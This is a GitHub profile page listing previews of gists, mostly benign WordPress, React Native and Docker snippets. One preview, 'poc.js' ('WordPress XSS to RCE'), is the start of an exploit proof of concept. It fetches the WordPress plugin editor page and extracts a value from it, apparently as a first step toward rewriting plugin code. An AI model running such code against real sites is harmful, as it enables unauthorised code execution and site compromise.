Skip to content

Instantly share code, notes, and snippets.

View abdullah1908's full-sized avatar
🎯
Focusing

Abdullah Ramzan abdullah1908

🎯
Focusing
View GitHub Profile
@mrfoxtalbot
mrfoxtalbot / cpt-block-prepopulate.php
Created May 30, 2023 11:35
Prepopulate CPTs with a reusable block and convert it to a regular block automatically
function convert_reusable_block_to_regular_block($data, $postarr) {
// Check if it's a new custom post type
if ($data['post_type'] === 'your_custom_post_type' && $data['post_status'] === 'auto-draft') {
$reusable_block_post = get_page_by_title('your_reusable_block_name', OBJECT, 'wp_block');
// Check if the reusable block exists
if ($reusable_block_post !== null) {
$reusable_block_content = $reusable_block_post->post_content;
// Convert the reusable block into a regular block
<?php
/*
Plugin Name: Peachpay Currency Switcher shortcode
Description: Custom Peachpay currency switcher shortcode
Version: 1.0.0
Author: Matheus Vieira
Author URI: https://github.com/mathvp
License: GPL2
*/
<?php
/**
* Ensures Site Kit loads languages correctly.
*
* @author Adam Silverstein, Google
* @license Apache 2.0
* @copyright 2020 Google Inc.
*
* @wordpress-plugin
* Plugin Name: Site Kit Language Loader
@felixarntz
felixarntz / google-site-kit-anonymize-ips.php
Last active August 25, 2021 17:02
WordPress mini plugin as an extension to Site Kit that ensures the inserted Google Analytics snippet anonymizes IP addresses.
<?php
/**
* Site Kit by Google Anonymize IPs plugin file.
*
* @package Google\Site_Kit_Anomyize_IPs
* @author Felix Arntz, Google
* @license GPL-2.0-or-later
* @copyright 2019 Google Inc.
*
* @wordpress-plugin
add_filter( 'graphql_post_object_connection_query_args', function( $args ) {
$args['no_found_rows'] = false;
return $args;
} );
add_filter( 'graphql_connection_page_info', function( $page_info, $connection ) {
$page_info['total'] = null;
if ( $connection->get_query() instanceof \WP_Query ) {
if ( isset( $connection->get_query()->found_posts ) ) {
$page_info['total'] = (int) $connection->get_query()->found_posts;
@LukaSikic
LukaSikic / poc.js
Created May 19, 2019 21:32
WordPress XSS to RCE
u = "/wp-admin/plugin-editor.php"
p = "file=akismet%2Findex.php&plugin=akismet%2Fakismet.php"
var x = new XMLHttpRequest();
var r=0
x.open('GET',u+"?"+ p,1);
x.send(null);
x.onreadystatechange = function() {
if (x.readyState === 4 && r != 1) {
n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1]
@anabastos
anabastos / my_resume.gif
Last active July 26, 2024 18:02
my_resume.gif
my_resume.gif
@axemclion
axemclion / PerfLogger.java
Last active August 12, 2023 02:56
React Native Android - Systrace from ReactMarkers
package com.nparashuram;
import android.os.Process;
import android.text.TextUtils;
import android.util.Log;
import android.view.View;
import android.view.ViewTreeObserver;
import com.facebook.react.ReactInstanceManager;
import com.facebook.react.ReactNativeHost;
import com.facebook.react.bridge.ReactContext;
@timogoosen
timogoosen / docker-compose.yml
Created October 20, 2018 21:47
Added Elasticsearch plus a volume for Elasticsearch's data. The normal Elasticsearch config is for an ephermeral Elasticsearch setup.
version: "3"
services:
mariadb:
image: wodby/mariadb:$MARIADB_TAG
container_name: "${PROJECT_NAME}_mariadb"
stop_grace_period: 30s
environment:
MYSQL_ROOT_PASSWORD: $DB_ROOT_PASSWORD
MYSQL_DATABASE: $DB_NAME
@pento
pento / php-block.js
Last active September 5, 2024 01:58
Converting a shortcode to a block: this method is fast to do, but a mediocre UX. You should only use this as a stopgap until you can implement a full block UI.
// License: GPLv2+
var el = wp.element.createElement,
registerBlockType = wp.blocks.registerBlockType,
ServerSideRender = wp.components.ServerSideRender,
TextControl = wp.components.TextControl,
InspectorControls = wp.editor.InspectorControls;
/*
* Here's where we register the block in JavaScript.